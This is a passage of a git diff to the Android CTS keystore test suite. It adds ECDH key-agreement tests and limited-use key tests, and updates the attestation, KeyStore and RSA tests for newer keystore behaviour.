+    public void testGenerateSecret_preservesPrivateKeyAndNothingElse() throws Exception {
+        KeyPair otherPartyKey = generateEphemeralServerKeyPair();
+        KeyAgreement ka = getKeyStoreKeyAgreement();
+        ka.init(generateEphemeralAndroidKeyPair(PRIVATE_KEY_ALIAS).getPrivate());
+        ka.doPhase(otherPartyKey.getPublic(), true);
+        byte[] sharedSecret1 = ka.generateSecret();
+
+        try {
+            ka.generateSecret();
+            fail(
+                    "Should not be able to generate secret twice. Only private key should have"
+                            + " been retained");
+        } catch (IllegalStateException ise) {
+            // Expected
+        }
+        ka.doPhase(otherPartyKey.getPublic(), true);
+        byte[] sharedSecret2 = ka.generateSecret();
+
+        Assert.assertArrayEquals(sharedSecret1, sharedSecret2);
+    }
+
+    public void testInit_withNonPrivateKey_fails() throws Exception {
+        KeyAgreement ka = getKeyStoreKeyAgreement();
+        try {
+            ka.init(new TransparentSecretKey(new byte[0], null));
+            fail("Initializing KeyAgreement with non-keystore key didn't throw exception.");
+        } catch (InvalidKeyException ike) {
+            // Expected
+        }
+    }
+
+    public void testDoPhase_withoutInitialization_fails() throws Exception {
+        KeyAgreement ka = getKeyStoreKeyAgreement();
+        try {
+            ka.doPhase(generateEphemeralServerKeyPair().getPublic(), true);
+            fail("Should not be able to call doPhase without performing initialization first");
+        } catch (IllegalStateException ise) {
+            // Expected
+        }
+    }
+
+    public void testGenerateSecret_withoutSecondPartyKey_fails() throws Exception {
+        KeyAgreement ka = getKeyStoreKeyAgreement();
+        ka.init(generateEphemeralAndroidKeyPair(PRIVATE_KEY_ALIAS).getPrivate());
+        try {
+            ka.generateSecret();
+            fail("Should not be able to generate secret without other party key.");
+        } catch (IllegalStateException ise) {
+            // Expected
+        }
+    }
+
+    public void testDoPhase_multiparty_fails() throws Exception {
+        // Multi-party key agreement is not supported by Keymint
+        KeyAgreement ka = getKeyStoreKeyAgreement();
+        ka.init(generateEphemeralAndroidKeyPair(PRIVATE_KEY_ALIAS).getPrivate());
+        try {
+            ka.doPhase(generateEphemeralServerKeyPair().getPublic(), false);
+            fail("Calling doPhase with lastPhase set to false should fail.");
+        } catch (IllegalStateException ise) {
+            // Expected
+        }
+        ka.doPhase(generateEphemeralServerKeyPair().getPublic(), true);
+        try {
+            ka.doPhase(generateEphemeralServerKeyPair().getPublic(), true);
+            fail("Calling doPhase multiple times should fail.");
+        } catch (IllegalStateException ise) {
+            // Expected
+        }
+    }
+
+    private static KeyPair generateEphemeralAndroidKeyPair(String alias)
+            throws GeneralSecurityException {
+        KeyPairGenerator kpg =
+                KeyPairGenerator.getInstance(KeyProperties.KEY_ALGORITHM_EC, "AndroidKeyStore");
+        kpg.initialize(
+                new KeyGenParameterSpec.Builder(alias, KeyProperties.PURPOSE_AGREE_KEY).build());
+
+        return kpg.generateKeyPair();
+    }
+
+    private static KeyPair generateEphemeralServerKeyPair() throws GeneralSecurityException {
+        KeyPairGenerator kpg = KeyPairGenerator.getInstance("EC"); // Use default provider
+        kpg.initialize(256);
+
+        return kpg.generateKeyPair();
+    }
+
+    // Helper function allowing us to include information about Keystore2 likely not being available
+    // in the test output.
+    private static KeyAgreement getKeyStoreKeyAgreement() throws NoSuchProviderException {
+        try {
+            KeyAgreement ka = KeyAgreement.getInstance("ECDH", "AndroidKeyStore");
+            return ka;
+        } catch (NoSuchAlgorithmException nsa) {
+            fail(
+                    "AndroidKeyStore is missing an ECDH implementation, which is likely caused by"
+                        + " keystore2 not being enabled. See b/160623310 for more information.");
+            return null;
+        }
+    }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index d457995..596d391 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -46,14 +46,16 @@
 import static android.security.keystore.KeyProperties.SIGNATURE_PADDING_RSA_PKCS1;
 import static android.security.keystore.KeyProperties.SIGNATURE_PADDING_RSA_PSS;
 
+import static org.hamcrest.CoreMatchers.containsString;
 import static org.hamcrest.CoreMatchers.is;
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.either;
 import static org.hamcrest.Matchers.empty;
 import static org.hamcrest.Matchers.greaterThanOrEqualTo;
-import static org.hamcrest.Matchers.lessThanOrEqualTo;
 import static org.hamcrest.Matchers.hasItems;
+import static org.hamcrest.Matchers.lessThanOrEqualTo;
 
+import android.content.pm.PackageManager;
 import android.content.pm.PackageManager.NameNotFoundException;
 import android.os.Build;
 import android.os.SystemProperties;
@@ -75,10 +77,11 @@
 import org.bouncycastle.cert.jcajce.JcaX509CertificateHolder;
 
 import java.io.File;
-import java.lang.Math;
 import java.security.GeneralSecurityException;
 import java.security.InvalidAlgorithmParameterException;
 import java.security.InvalidKeyException;
+import java.security.Key;
+import java.security.KeyPair;
 import java.security.KeyPairGenerator;
 import java.security.KeyStore;
 import java.security.NoSuchAlgorithmException;
@@ -96,8 +99,9 @@
 import java.util.Set;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
-
 import javax.crypto.KeyGenerator;
+import org.bouncycastle.asn1.x500.X500Name;
+import org.bouncycastle.cert.jcajce.JcaX509CertificateHolder;
 
 /**
  * Tests for Android KeysStore attestation.
@@ -125,6 +129,7 @@
     private static final Pattern OS_PATCH_LEVEL_STRING_PATTERN = Pattern
             .compile("([0-9]{4})-([0-9]{2})-[0-9]{2}");
 
+    private static final int KM_ERROR_CANNOT_ATTEST_IDS = -66;
     private static final int KM_ERROR_INVALID_INPUT_LENGTH = -21;
     private static final int KM_ERROR_PERMISSION_DENIED = 6;
 
@@ -152,6 +157,9 @@
     }
 
     public void testEcAttestation() throws Exception {
+        if (getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_PC))
+            return;
+
         // Note: Curve and key sizes arrays must correspond.
         String[] curves = {
                 "secp224r1", "secp256r1", "secp384r1", "secp521r1"
@@ -180,6 +188,14 @@
                                         curves[curveIndex], keySizes[curveIndex],
                                         purposes[purposeIndex], devicePropertiesAttestation);
                             } catch (Throwable e) {
+                                if (devicePropertiesAttestation
+                                        && (e.getCause() instanceof KeyStoreException)
+                                        && KM_ERROR_CANNOT_ATTEST_IDS ==
+                                                ((KeyStoreException) e.getCause()).getErrorCode()) {
+                                    Log.i(TAG, "key attestation with device IDs not supported; "
+                                            + "test skipped");
+                                    continue;
+                                }
                                 throw new Exception("Failed on curve " + curveIndex +
                                         " challenge " + challengeIndex + " purpose " +
                                         purposeIndex + " includeValidityDates " +
@@ -234,7 +250,8 @@
                 assertEquals(1, certificates.length);
 
                 X509Certificate attestationCert = (X509Certificate) certificates[0];
-                assertNull(attestationCert.getExtensionValue(Attestation.KEY_DESCRIPTION_OID));
+                assertNull(attestationCert.getExtensionValue(Attestation.ASN1_OID));
+                assertNull(attestationCert.getExtensionValue(Attestation.EAT_OID));
             } finally {
                 keyStore.deleteEntry(keystoreAlias);
             }
@@ -242,7 +259,11 @@
     }
 
     @RestrictedBuildTest
+    @RequiresDevice
     public void testEcAttestation_DeviceLocked() throws Exception {
+        if (getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_PC))
+            return;
+
         String keystoreAlias = "test_key";
         Date now = new Date();
         Date originationEnd = new Date(now.getTime() + ORIGINATION_TIME_OFFSET);
@@ -272,7 +293,7 @@
             verifyCertificateChain(certificates, TestUtils.hasStrongBox(getContext()));
 
             X509Certificate attestationCert = (X509Certificate) certificates[0];
-            checkDeviceLocked(new Attestation(attestationCert));
+            checkDeviceLocked(Attestation.loadFromCertificate(attestationCert));
         } finally {
             keyStore.deleteEntry(keystoreAlias);
         }
@@ -302,6 +323,9 @@
     }
 
     public void testRsaAttestation() throws Exception {
+        if (getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_PC))
+            return;
+
         int[] keySizes = { // Smallish sizes to keep test runtimes down.
                 512, 768, 1024
         };
@@ -402,7 +426,7 @@
                 assertEquals(1, certificates.length);
 
                 X509Certificate attestationCert = (X509Certificate) certificates[0];
-                assertNull(attestationCert.getExtensionValue(Attestation.KEY_DESCRIPTION_OID));
+                assertNull(attestationCert.getExtensionValue(Attestation.ASN1_OID));
             } finally {
                 keyStore.deleteEntry(keystoreAlias);
             }
@@ -412,6 +436,9 @@
     @RestrictedBuildTest
     @RequiresDevice  // Emulators have no place to store the needed key
     public void testRsaAttestation_DeviceLocked() throws Exception {
+        if (getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_PC))
+            return;
+
         String keystoreAlias = "test_key";
         Date now = new Date();
         Date originationEnd = new Date(now.getTime() + ORIGINATION_TIME_OFFSET);
@@ -441,7 +468,7 @@
             verifyCertificateChain(certificates, TestUtils.hasStrongBox(getContext()));
 
             X509Certificate attestationCert = (X509Certificate) certificates[0];
-            checkDeviceLocked(new Attestation(attestationCert));
+            checkDeviceLocked(Attestation.loadFromCertificate(attestationCert));
         } finally {
             keyStore.deleteEntry(keystoreAlias);
         }
@@ -499,6 +526,12 @@
                 testRsaAttestation(challenge, false /* includeValidityDates */, keySize, purpose,
                         paddings, devicePropertiesAttestation);
             } catch (Throwable e) {
+                if (devicePropertiesAttestation && (e.getCause() instanceof KeyStoreException)
+                        && KM_ERROR_CANNOT_ATTEST_IDS ==
+                                ((KeyStoreException) e.getCause()).getErrorCode()) {
+                    Log.i(TAG, "key attestation with device IDs not supported; test skipped");
+                    continue;
+                }
                 throw new Exception("Failed on key size " + keySize + " challenge [" +
                         new String(challenge) + "], purposes " +
                         buildPurposeSet(purpose) + " paddings " +
@@ -559,12 +592,13 @@
             verifyCertificateChain(certificates, false /* expectStrongBox */);
 
             X509Certificate attestationCert = (X509Certificate) certificates[0];
-            Attestation attestation = new Attestation(attestationCert);
+            Attestation attestation = Attestation.loadFromCertificate(attestationCert);
 
-            checkRsaKeyDetails(attestation, keySize, purposes, ImmutableSet.copyOf(paddingModes));
+            checkRsaKeyDetails(attestation, keySize, purposes,
+                ImmutableSet.copyOf(paddingModes));
             checkKeyUsage(attestationCert, purposes);
-            checkKeyIndependentAttestationInfo(challenge, purposes, startTime, includeValidityDates,
-                    devicePropertiesAttestation, attestation);
+            checkKeyIndependentAttestationInfo(challenge, purposes, startTime,
+                includeValidityDates, devicePropertiesAttestation, attestation);
         } finally {
             keyStore.deleteEntry(keystoreAlias);
         }
@@ -618,12 +652,12 @@
             verifyCertificateChain(certificates, false /* expectStrongBox */);
 
             X509Certificate attestationCert = (X509Certificate) certificates[0];
-            Attestation attestation = new Attestation(attestationCert);
+            Attestation attestation = Attestation.loadFromCertificate(attestationCert);
 
             checkEcKeyDetails(attestation, ecCurve, keySize);
             checkKeyUsage(attestationCert, purposes);
-            checkKeyIndependentAttestationInfo(challenge, purposes, startTime, includeValidityDates,
-                    devicePropertiesAttestation, attestation);
+            checkKeyIndependentAttestationInfo(challenge, purposes, startTime,
+                includeValidityDates, devicePropertiesAttestation, attestation);
         } finally {
             keyStore.deleteEntry(keystoreAlias);
         }
@@ -635,6 +669,7 @@
         int kmVersion = attestation.getKeymasterVersion();
         assertNull(attestation.getTeeEnforced().getAttestationApplicationId());
         aaid = attestation.getSoftwareEnforced().getAttestationApplicationId();
+
         if (kmVersion >= 3) {
             // must be present and correct
             assertNotNull(aaid);
@@ -695,9 +730,11 @@
         checkUnexpectedOids(attestation);
         checkAttestationSecurityLevelDependentParams(attestation);
         assertNotNull(attestation.getAttestationChallenge());
-        assertTrue(Arrays.equals(challenge, attestation.getAttestationChallenge()));
-        assertNotNull(attestation.getUniqueId());
-        assertEquals(0, attestation.getUniqueId().length);
+        assertThat(attestation.getAttestationChallenge(), is(challenge));
+        // In EAT, this is null if not filled in. In ASN.1, this is an array with length 0.
+        if (attestation.getUniqueId() != null) {
+            assertEquals(0, attestation.getUniqueId().length);
+        }
         checkPurposes(attestation, purposes);
         checkDigests(attestation,
                 ImmutableSet.of(KM_DIGEST_NONE, KM_DIGEST_SHA_2_256, KM_DIGEST_SHA_2_512));
@@ -919,8 +956,8 @@
 
     @SuppressWarnings("unchecked")
     private void checkAttestationSecurityLevelDependentParams(Attestation attestation) {
-        assertThat("Attestation version must be 1, 2, 3, or 4", attestation.getAttestationVersion(),
-               either(is(1)).or(is(2)).or(is(3)).or(is(4)));
+        assertThat("Attestation version must be 1, 2, 3, 4 or 5", attestation.getAttestationVersion(),
+               either(is(1)).or(is(2)).or(is(3)).or(is(4)).or(is(5)));
 
         AuthorizationList teeEnforced = attestation.getTeeEnforced();
         AuthorizationList softwareEnforced = attestation.getSoftwareEnforced();
@@ -997,7 +1034,7 @@
     }
 
     private void checkRootOfTrust(Attestation attestation, boolean requireLocked) {
-        RootOfTrust rootOfTrust = attestation.getTeeEnforced().getRootOfTrust();
+        RootOfTrust rootOfTrust = attestation.getRootOfTrust();
         assertNotNull(rootOfTrust);
         assertNotNull(rootOfTrust.getVerifiedBootKey());
         assertTrue("Verified boot key is only " + rootOfTrust.getVerifiedBootKey().length +
@@ -1193,7 +1230,7 @@
         keyPairGenerator.generateKeyPair();
     }
 
-    private void verifyCertificateChain(Certificate[] certChain, boolean expectStrongBox)
+    public static void verifyCertificateChain(Certificate[] certChain, boolean expectStrongBox)
             throws GeneralSecurityException {
         assertNotNull(certChain);
         for (int i = 1; i < certChain.length; ++i) {
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyGenParameterSpecTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyGenParameterSpecTest.java
index 3f1cbb6..2cda759 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyGenParameterSpecTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyGenParameterSpecTest.java
@@ -18,6 +18,7 @@
 
 import static org.testng.Assert.assertThrows;
 
+import android.os.Process;
 import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyProperties;
 import android.test.MoreAsserts;
@@ -72,6 +73,7 @@
         assertEquals(0, spec.getUserAuthenticationValidityDurationSeconds());
         assertEquals(KeyProperties.AUTH_BIOMETRIC_STRONG, spec.getUserAuthenticationType());
         assertFalse(spec.isUnlockedDeviceRequired());
+        assertEquals(KeyProperties.UNRESTRICTED_USAGE_COUNT, spec.getMaxUsageCount());
     }
 
     public void testSettersReflectedInGetters() {
@@ -83,6 +85,7 @@
         Date keyValidityEndDateForOrigination = new Date(System.currentTimeMillis() + 11111111);
         Date keyValidityEndDateForConsumption = new Date(System.currentTimeMillis() + 33333333);
         AlgorithmParameterSpec algSpecificParams = new ECGenParameterSpec("secp256r1");
+        int maxUsageCount = 1;
 
         KeyGenParameterSpec spec = new KeyGenParameterSpec.Builder(
                 "arbitrary", KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_ENCRYPT)
@@ -106,6 +109,7 @@
                 .setUserAuthenticationParameters(12345,
                         KeyProperties.AUTH_DEVICE_CREDENTIAL | KeyProperties.AUTH_BIOMETRIC_STRONG)
                 .setUnlockedDeviceRequired(true)
+                .setMaxUsageCount(maxUsageCount)
                 .build();
 
         assertEquals("arbitrary", spec.getKeystoreAlias());
@@ -135,6 +139,7 @@
         assertEquals(KeyProperties.AUTH_DEVICE_CREDENTIAL | KeyProperties.AUTH_BIOMETRIC_STRONG,
                 spec.getUserAuthenticationType());
         assertTrue(spec.isUnlockedDeviceRequired());
+        assertEquals(maxUsageCount, spec.getMaxUsageCount());
     }
 
     public void testNullAliasNotPermitted() {
@@ -346,8 +351,16 @@
                 KeyProperties.KEY_ALGORITHM_HMAC_SHA256, "AndroidKeyStore");
         keyGenerator.init(
                 new KeyGenParameterSpec.Builder("alias", KeyProperties.PURPOSE_SIGN)
-                        .setUid(123)
+                        .setUid(Process.WIFI_UID)
                         .build());
         assertThrows(ProviderException.class, keyGenerator::generateKey);
     }
+
+    public void testIllegalMaxUsageCountNotPermitted() {
+        try {
+            new KeyGenParameterSpec.Builder("LimitedUseKey", KeyProperties.PURPOSE_ENCRYPT)
+            .setMaxUsageCount(0);
+            fail();
+        } catch (IllegalArgumentException expected) {}
+    }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyGeneratorTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyGeneratorTest.java
index 8a238d0..431ffa5 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyGeneratorTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyGeneratorTest.java
@@ -725,6 +725,30 @@
         }
     }
 
+    public void testLimitedUseKey() throws Exception {
+        testLimitedUseKey(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testLimitedUseKey(true /* useStrongbox */);
+        }
+    }
+
+    private void testLimitedUseKey(boolean useStrongbox) throws Exception {
+        int maxUsageCount = 1;
+        for (String algorithm :
+                (useStrongbox ? EXPECTED_STRONGBOX_ALGORITHMS : EXPECTED_ALGORITHMS)) {
+            try {
+                int expectedSizeBits = DEFAULT_KEY_SIZES.get(algorithm);
+                KeyGenerator keyGenerator = getKeyGenerator(algorithm);
+                keyGenerator.init(getWorkingSpec().setMaxUsageCount(maxUsageCount).build());
+                SecretKey key = keyGenerator.generateKey();
+                assertEquals(expectedSizeBits, TestUtils.getKeyInfo(key).getKeySize());
+                assertEquals(maxUsageCount, TestUtils.getKeyInfo(key).getRemainingUsageCount());
+            } catch (Throwable e) {
+                throw new RuntimeException("Failed for " + algorithm, e);
+            }
+        }
+    }
+
     private static KeyGenParameterSpec.Builder getWorkingSpec() {
         return getWorkingSpec(0);
     }
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyInfoTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyInfoTest.java
index 2b1d6fc..d14f6d2 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyInfoTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyInfoTest.java
@@ -26,6 +26,9 @@
 import java.security.KeyPair;
 import java.security.KeyPairGenerator;
 import java.security.PrivateKey;
+import java.security.Provider;
+import java.security.Security;
+import java.security.Signature;
 import java.util.Arrays;
 import java.util.Date;
 
@@ -93,5 +96,42 @@
         String[] originalBlockModes = info.getBlockModes().clone();
         info.getBlockModes()[0] = null;
         assertEquals(Arrays.asList(originalBlockModes), Arrays.asList(info.getBlockModes()));
+
+        // Return KeyProperties.UNRESTRICTED_USAGE_COUNT to indicate there is no restriction on
+        // the number of times that the key can be used.
+        int remainingUsageCount = info.getRemainingUsageCount();
+        assertEquals(KeyProperties.UNRESTRICTED_USAGE_COUNT, remainingUsageCount);
+    }
+
+    public void testLimitedUseKey() throws Exception {
+        Date keyValidityStartDate = new Date(System.currentTimeMillis() - 2222222);
+        Date keyValidityEndDateForOrigination = new Date(System.currentTimeMillis() + 11111111);
+        Date keyValidityEndDateForConsumption = new Date(System.currentTimeMillis() + 33333333);
+        int maxUsageCount = 1;
+
+        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA", "AndroidKeyStore");
+        keyPairGenerator.initialize(new KeyGenParameterSpec.Builder(
+                KeyInfoTest.class.getSimpleName(),
+                KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_ENCRYPT)
+                .setKeySize(1024) // use smaller key size to speed the test up
+                .setKeyValidityStart(keyValidityStartDate)
+                .setKeyValidityForOriginationEnd(keyValidityEndDateForOrigination)
+                .setKeyValidityForConsumptionEnd(keyValidityEndDateForConsumption)
+                .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_RSA_PKCS1,
+                        KeyProperties.ENCRYPTION_PADDING_RSA_OAEP)
+                .setSignaturePaddings(KeyProperties.SIGNATURE_PADDING_RSA_PKCS1,
+                        KeyProperties.SIGNATURE_PADDING_RSA_PSS)
+                .setDigests(KeyProperties.DIGEST_SHA256, KeyProperties.DIGEST_SHA512)
+                .setBlockModes(KeyProperties.BLOCK_MODE_ECB)
+                .setMaxUsageCount(maxUsageCount)
+                .build());
+        KeyPair keyPair = keyPairGenerator.generateKeyPair();
+
+        PrivateKey key = keyPair.getPrivate();
+        KeyFactory keyFactory = KeyFactory.getInstance(key.getAlgorithm(), "AndroidKeyStore");
+        KeyInfo info = keyFactory.getKeySpec(key, KeyInfo.class);
+
+        int remainingUsageCount = info.getRemainingUsageCount();
+        assertEquals(maxUsageCount, remainingUsageCount);
     }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorSpecTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorSpecTest.java
index 33c8955..6004432 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorSpecTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorSpecTest.java
@@ -61,29 +61,6 @@
         assertFalse("encryption flag should not be on", spec.isEncryptionRequired());
     }
 
-    public void testBuilder_Encrypted_Success() throws Exception {
-        KeyPairGeneratorSpec spec = new KeyPairGeneratorSpec.Builder(getContext())
-                .setAlias(TEST_ALIAS_1)
-                .setSubject(TEST_DN_1)
-                .setSerialNumber(SERIAL_1)
-                .setStartDate(NOW)
-                .setEndDate(NOW_PLUS_10_YEARS)
-                .setEncryptionRequired()
-                .build();
-
-        assertEquals("Context should be the one specified", getContext(), spec.getContext());
-
-        assertEquals("Alias should be the one specified", TEST_ALIAS_1, spec.getKeystoreAlias());
-
-        assertEquals("subjectDN should be the one specified", TEST_DN_1, spec.getSubjectDN());
-
-        assertEquals("startDate should be the one specified", NOW, spec.getStartDate());
-
-        assertEquals("endDate should be the one specified", NOW_PLUS_10_YEARS, spec.getEndDate());
-
-        assertTrue("encryption flag should be on", spec.isEncryptionRequired());
-    }
-
     public void testBuilder_NullContext_Failure() throws Exception {
         try {
             new KeyPairGeneratorSpec.Builder(null);
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorTest.java
index 5eea70e..7bdccb7 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorTest.java
@@ -22,6 +22,9 @@
 import android.security.keystore.KeyProperties;
 import android.test.AndroidTestCase;
 import android.test.MoreAsserts;
+import android.util.Log;
+
+import com.android.internal.util.HexDump;
 
 import java.math.BigInteger;
 import java.net.InetAddress;
@@ -1647,6 +1650,7 @@
 
     private static void assertSelfSignedCertificateSignatureVerifies(Certificate certificate) {
         try {
+            Log.i("KeyPairGeneratorTest", HexDump.dumpHexString(certificate.getEncoded()));
             certificate.verify(certificate.getPublicKey());
         } catch (Exception e) {
             throw new RuntimeException("Failed to verify self-signed certificate signature", e);
@@ -1669,7 +1673,8 @@
         TestUtils.assertKeyStoreKeyPair(mKeyStore, alias, keyPair);
 
         X509Certificate cert = (X509Certificate) mKeyStore.getCertificate(alias);
-        assertEquals(keyPair.getPublic(), cert.getPublicKey());
+        assertTrue(Arrays.equals(keyPair.getPublic().getEncoded(),
+                cert.getPublicKey().getEncoded()));
         assertX509CertificateParameters(cert,
                 expectedCertSubject,
                 expectedCertSerialNumber,
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyProtectionTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyProtectionTest.java
index 274141e..07cf203 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyProtectionTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyProtectionTest.java
@@ -17,6 +17,7 @@
 package android.keystore.cts;
 
 import android.security.GateKeeper;
+import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyProperties;
 import android.security.keystore.KeyProtection;
 import android.test.MoreAsserts;
@@ -51,6 +52,7 @@
         assertEquals(KeyProperties.AUTH_BIOMETRIC_STRONG, spec.getUserAuthenticationType());
         assertEquals(GateKeeper.INVALID_SECURE_USER_ID, spec.getBoundToSpecificSecureUserId());
         assertFalse(spec.isUnlockedDeviceRequired());
+        assertEquals(KeyProperties.UNRESTRICTED_USAGE_COUNT, spec.getMaxUsageCount());
     }
 
     public void testSettersReflectedInGetters() {
@@ -59,6 +61,7 @@
         Date keyValidityStartDate = new Date(System.currentTimeMillis() - 2222222);
         Date keyValidityEndDateForOrigination = new Date(System.currentTimeMillis() + 11111111);
         Date keyValidityEndDateForConsumption = new Date(System.currentTimeMillis() + 33333333);
+        int maxUsageCount = 1;
 
         KeyProtection spec = new KeyProtection.Builder(
                 KeyProperties.PURPOSE_DECRYPT | KeyProperties.PURPOSE_VERIFY)
@@ -77,6 +80,7 @@
                         KeyProperties.AUTH_DEVICE_CREDENTIAL | KeyProperties.AUTH_BIOMETRIC_STRONG)
                 .setBoundToSpecificSecureUserId(654321)
                 .setUnlockedDeviceRequired(true)
+                .setMaxUsageCount(maxUsageCount)
                 .build();
 
         assertEquals(
@@ -100,6 +104,7 @@
                 spec.getUserAuthenticationType());
         assertEquals(654321, spec.getBoundToSpecificSecureUserId());
         assertTrue(spec.isUnlockedDeviceRequired());
+        assertEquals(spec.getMaxUsageCount(), maxUsageCount);
     }
 
     public void testSetKeyValidityEndDateAppliesToBothEndDates() {
@@ -263,4 +268,11 @@
         assertEquals(Arrays.asList(originalSignaturePaddings),
                 Arrays.asList(spec.getSignaturePaddings()));
     }
+
+    public void testIllegalMaxUsageCountNotPermitted() {
+        try {
+            new KeyProtection.Builder(KeyProperties.PURPOSE_ENCRYPT).setMaxUsageCount(0);
+            fail();
+        } catch (IllegalArgumentException expected) {}
+    }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyStoreTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyStoreTest.java
index fef3486..383e483 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyStoreTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyStoreTest.java
@@ -207,6 +207,7 @@
         // Don't bother testing BC on RI
         // TODO enable AndroidKeyStore when CTS can set up the keystore
         return (StandardNames.IS_RI && ks.getProvider().getName().equals("BC"))
+                || "AndroidKeyStoreLegacy".equalsIgnoreCase(ks.getType())
                 || "AndroidKeyStore".equalsIgnoreCase(ks.getType())
                 || "TimaKeyStore".equalsIgnoreCase(ks.getType())
                 || "KnoxAndroidKeyStore".equalsIgnoreCase(ks.getType());
@@ -219,7 +220,7 @@
                   || ks.getType().equals("PKCS12")));
     }
     private static boolean isKeyPasswordSupported(KeyStore ks) {
-        return !ks.getType().equals("AndroidKeyStore");
+        return !ks.getType().startsWith("AndroidKeyStore");
     }
     private static boolean isKeyPasswordIgnored(KeyStore ks) {
         // BouncyCastle's PKCS12 ignores the key password unlike the RI which requires it
@@ -232,11 +233,11 @@
     }
 
     private static boolean isPersistentStorage(KeyStore ks) {
-        return ks.getType().equalsIgnoreCase("AndroidKeyStore");
+        return ks.getType().toLowerCase().startsWith("AndroidKeyStore".toLowerCase());
     }
 
     private static boolean isLoadStoreUnsupported(KeyStore ks) {
-        return ks.getType().equalsIgnoreCase("AndroidKeyStore");
+        return ks.getType().toLowerCase().startsWith("AndroidKeyStore".toLowerCase());
     }
 
     private static boolean isSetKeyByteArrayUnimplemented(KeyStore ks) {
@@ -814,20 +815,15 @@
             try {
                 keyStore.setKeyEntry(null, null, null, null);
                 fail(keyStore.getType());
-            } catch (Exception e) {
-                if (e.getClass() != NullPointerException.class
-                    && e.getClass() != KeyStoreException.class) {
-                    throw e;
-                }
+            } catch (NullPointerException | KeyStoreException expected) {
+              // ignored
             }
+
             try {
                 keyStore.setKeyEntry(null, null, PASSWORD_KEY, null);
                 fail(keyStore.getType());
-            } catch (Exception e) {
-                if (e.getClass() != NullPointerException.class
-                    && e.getClass() != KeyStoreException.class) {
-                    throw e;
-                }
+            } catch (NullPointerException | KeyStoreException expected) {
+              // ignored
             }
             try {
                 keyStore.setKeyEntry(ALIAS_PRIVATE,
diff --git a/tests/tests/keystore/src/android/keystore/cts/RSACipherTest.java b/tests/tests/keystore/src/android/keystore/cts/RSACipherTest.java
index 3403df3..fbf79ed 100644
--- a/tests/tests/keystore/src/android/keystore/cts/RSACipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/RSACipherTest.java
@@ -118,7 +118,7 @@
                     byte[] ciphertext = cipher.doFinal(plaintext);
                     fail("Unexpectedly produced ciphertext (" + ciphertext.length + " bytes): "
                             + HexEncoding.encode(ciphertext));
-                } catch (BadPaddingException expected) {}
+                } catch (BadPaddingException | IllegalBlockSizeException expected) {}
             } catch (Throwable e) {
                 throw new RuntimeException("Failed for key " + key.getAlias(), e);
             }
@@ -147,7 +147,7 @@
                     byte[] ciphertext = cipher.doFinal(plaintext);
                     fail("Unexpectedly produced ciphertext (" + ciphertext.length + " bytes): "
                             + HexEncoding.encode(ciphertext));
-                } catch (BadPaddingException expected) {}
+                } catch (BadPaddingException | IllegalBlockSizeException expected) {}
             } catch (Throwable e) {
                 throw new RuntimeException("Failed for key " + key.getAlias(), e);
             }
diff --git a/tests/tests/keystore/src/android/keystore/cts/RSASignatureTest.java b/tests/tests/keystore/src/android/keystore/cts/RSASignatureTest.java
index d31f2e4..dbabbe2 100644
--- a/tests/tests/keystore/src/android/keystore/cts/RSASignatureTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/RSASignatureTest.java
@@ -91,8 +91,9 @@
                 signature.initVerify(publicKey);
                 try {
                     signature.update(msg, 0, expectedMaxMessageSizeBytes + 1);
-                    signature.verify(sigBytes);
-                    fail();
+                    if (signature.verify(sigBytes)) {
+                        fail();
+                    }
                 } catch (SignatureException expected) {
                 }
             } catch (Throwable e) {
diff --git a/tests/tests/keystore/src/android/keystore/cts/SignatureTest.java b/tests/tests/keystore/src/android/keystore/cts/SignatureTest.java
index 4fa8899..cbeb7d7 100644
--- a/tests/tests/keystore/src/android/keystore/cts/SignatureTest.java
